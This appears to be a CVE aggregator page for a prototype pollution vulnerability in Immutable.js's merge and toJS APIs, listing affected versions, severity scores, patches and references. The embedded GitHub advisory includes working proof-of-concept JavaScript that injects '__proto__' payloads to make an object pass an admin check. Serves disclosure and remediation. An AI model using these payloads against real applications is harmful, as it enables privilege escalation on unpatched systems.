CVE-2026-29063
JSON

8.7high

Immutable.js: Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution') in immutable

Severity
8.7high CVSS:4.0 by GitHub_M
Exploit likelihood
0.97% (higher than 63% of CVEs; EPSS, by FIRST)
Published
Last changed
Assigned by
GitHub_M
Also known as
GHSA-wf6x-7x77-mvgw

Description

Immutable.js provides many Persistent Immutable data structures. Prior to versions 3.8.3, 4.3.7, and 5.1.5, Prototype Pollution is possible in immutable via the mergeDeep(), mergeDeepWith(), merge(), Map.toJS(), and Map.toObject() APIs. This issue has been patched in versions 3.8.3, 4.3.7, and 5.1.5.

Affected

Product or packageVersionsReported by
immutable-js immutable-js< 3.8.3, < 4.3.7, < 5.1.5CVE List
cluster-observability-operator/logging-console-plugin-pf4-rhel9Not specified
Not affected: from 1782839279 before *
CVE List
cluster-observability-operator/logging-console-plugin-pf5-rhel9Not specified
Not affected: from 1782840539 before *
CVE List
cluster-observability-operator/troubleshooting-panel-console-plugin-pf6-rhel9Not specified
Not affected: from 1782839996 before *
CVE List
migration-toolkit-virtualization/mtv-console-plugin-rhel9Not specified
Not affected: from 1779139872 before *, from 1778927462 before *
CVE List
multicluster-engine/console-mce-rhel9Not specified
Not affected: from 1777128790 before *, from 1777559392 before *, from 1776223790 before *, from 1777306226 before *, from 1775116156 before *, from 1777301444 before *
CVE List
network-observability/network-observability-console-plugin-rhel9Not specified
Not affected: from 1774431617 before *
CVE List
network-observability/network-observability-console-plugin-pf4-rhel9Not specified
Not affected: from 1780920979 before *
CVE List
rhacm2/console-rhel9Not specified
Not affected: from 1783451729 before *, from 1776927126 before *, from 1777559387 before *
CVE List
advanced-cluster-security/rhacs-main-rhel8Not specified
Not affected: from 1777307791 before *, from 1777986630 before *, from 1777976489 before *
CVE List
rhdh/rhdh-hub-rhel9Not specified
Not affected: from 1776784286 before *, from 1777903262 before *
CVE List
discovery/discovery-ui-rhel9Not specified
Not affected: from 1775675922 before *
CVE List

All scores

GitHub_M8.7high CVSS:4.0CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N
redhat-SADP8.8high CVSS:3.1CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
GitHub9.8high CVSS:3.1CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
GitHubhigh CVSS:4.0CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N
NVD9.8critical CVSS:3.1CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Classification

CWE-915CWE-1321

SSVC (CISA-ADP): exploitation none, automatable yes, technical impact partial.

What each source says

CVE List

Immutable.js provides many Persistent Immutable data structures. Prior to versions 3.8.3, 4.3.7, and 5.1.5, Prototype Pollution is possible in immutable via the mergeDeep(), mergeDeepWith(), merge(), Map.toJS(), and Map.toObject() APIs. This issue has been patched in versions 3.8.3, 4.3.7, and 5.1.5.

GitHub Advisory Database

Impact

What kind of vulnerability is it? Who is impacted?

A Prototype Pollution is possible in immutable via the mergeDeep(), mergeDeepWith(), merge(), Map.toJS(), and Map.toObject() APIs.

Affected APIs

APINotes
mergeDeep(target, source)Iterates source keys via ObjectSeq, assigns merged[key]
mergeDeepWith(merger, target, source)Same code path
merge(target, source)Shallow variant, same assignment logic
Map.toJS()object[k] = v in toObject() with no __proto__ guard
Map.toObject()Same toObject() implementation
Map.mergeDeep(source)When source is converted to plain object

Patches

Has the problem been patched? What versions should users upgrade to?

major versionpatched version
3.x3.8.3
4.x4.3.7
5.x5.1.5

Workarounds

Is there a way for users to fix or remediate the vulnerability without upgrading?

Proof of Concept

PoC 1 — mergeDeep privilege escalation
"use strict";
const { mergeDeep } = require("immutable"); // v5.1.4

// Simulates: app merges HTTP request body (JSON) into user profile
const userProfile = { id: 1, name: "Alice", role: "user" };
const requestBody = JSON.parse(
  '{"name":"Eve","__proto__":{"role":"admin","admin":true}}',
);

const merged = mergeDeep(userProfile, requestBody);

console.log("merged.name:", merged.name); // Eve   (updated correctly)
console.log("merged.role:", merged.role); // user  (own property wins)
console.log("merged.admin:", merged.admin); // true  ← INJECTED via __proto__!

// Common security checks — both bypassed:
const isAdminByFlag = (u) => u.admin === true;
const isAdminByRole = (u) => u.role === "admin";
console.log("isAdminByFlag:", isAdminByFlag(merged)); // true  ← BYPASSED!
console.log("isAdminByRole:", isAdminByRole(merged)); // false (own role=user wins)

// Stealthy: Object.keys() hides 'admin'
console.log("Object.keys:", Object.keys(merged)); // ['id', 'name', 'role']
// But property lookup reveals it:
console.log("merged.admin:", merged.admin); // true
PoC 2 — All affected APIs
"use strict";
const { mergeDeep, mergeDeepWith, merge, Map } = require("immutable");

const payload = JSON.parse('{"__proto__":{"admin":true,"role":"superadmin"}}');

// 1. mergeDeep
const r1 = mergeDeep({ user: "alice" }, payload);
console.log("mergeDeep admin:", r1.admin); // true

// 2. mergeDeepWith
const r2 = mergeDeepWith((a, b) => b, { user: "alice" }, payload);
console.log("mergeDeepWith admin:", r2.admin); // true

// 3. merge
const r3 = merge({ user: "alice" }, payload);
console.log("merge admin:", r3.admin); // true

// 4. Map.toJS() with __proto__ key
const m = Map({ user: "alice" }).set("__proto__", { admin: true });
const r4 = m.toJS();
console.log("toJS admin:", r4.admin); // true

// 5. Map.toObject() with __proto__ key
const m2 = Map({ user: "alice" }).set("__proto__", { admin: true });
const r5 = m2.toObject();
console.log("toObject admin:", r5.admin); // true

// 6. Nested path
const nested = JSON.parse('{"profile":{"__proto__":{"admin":true}}}');
const r6 = mergeDeep({ profile: { bio: "Hello" } }, nested);
console.log("nested admin:", r6.profile.admin); // true

// 7. Confirm NOT global
console.log("({}).admin:", {}.admin); // undefined (global safe)

Verified output against immutable@5.1.4:

mergeDeep admin: true
mergeDeepWith admin: true
merge admin: true
toJS admin: true
toObject admin: true
nested admin: true
({}).admin: undefined  ← global Object.prototype NOT polluted

References

Are there any links users can visit to find out more?

NVD (es)

Immutable.js proporciona muchas estructuras de datos inmutables persistentes. Antes de las versiones 3.8.3, 4.3.7 y 5.1.5, la contaminación de prototipos es posible en immutable a través de las APIs mergeDeep(), mergeDeepWith(), merge(), Map.toJS() y Map.toObject(). Este problema ha sido parcheado en las versiones 3.8.3, 4.3.7 y 5.1.5.

References

https://github.com/immutable-js/immutable-js/security/advisories/GHSA-wf6x-7x77-mvgwexploit, vendor-advisory, web
https://github.com/immutable-js/immutable-js/releases/tag/v3.8.3release-notes, web
https://github.com/immutable-js/immutable-js/releases/tag/v4.3.8release-notes, web
https://github.com/immutable-js/immutable-js/releases/tag/v5.1.5release-notes, web
https://access.redhat.com/security/cve/CVE-2026-29063vdb-entry, vendor-advisory
https://bugzilla.redhat.com/show_bug.cgi?id=2445291issue-tracking, vendor-advisory
https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-29063.jsonvendor-advisory
https://access.redhat.com/errata/RHSA-2026:34342vendor-advisory
https://access.redhat.com/errata/RHSA-2026:19409vendor-advisory
https://access.redhat.com/errata/RHSA-2026:19410vendor-advisory
https://access.redhat.com/errata/RHSA-2026:6428vendor-advisory
https://access.redhat.com/errata/RHSA-2026:24473vendor-advisory

Sources

SourceRecordLicence
CVE ListCVE-2026-29063 changed 2026-09-10CVE Terms of Use
GitHub Advisory DatabaseGHSA-wf6x-7x77-mvgw changed 2026-09-10CC-BY-4.0
NVDCVE-2026-29063 changed 2026-10-30Public domain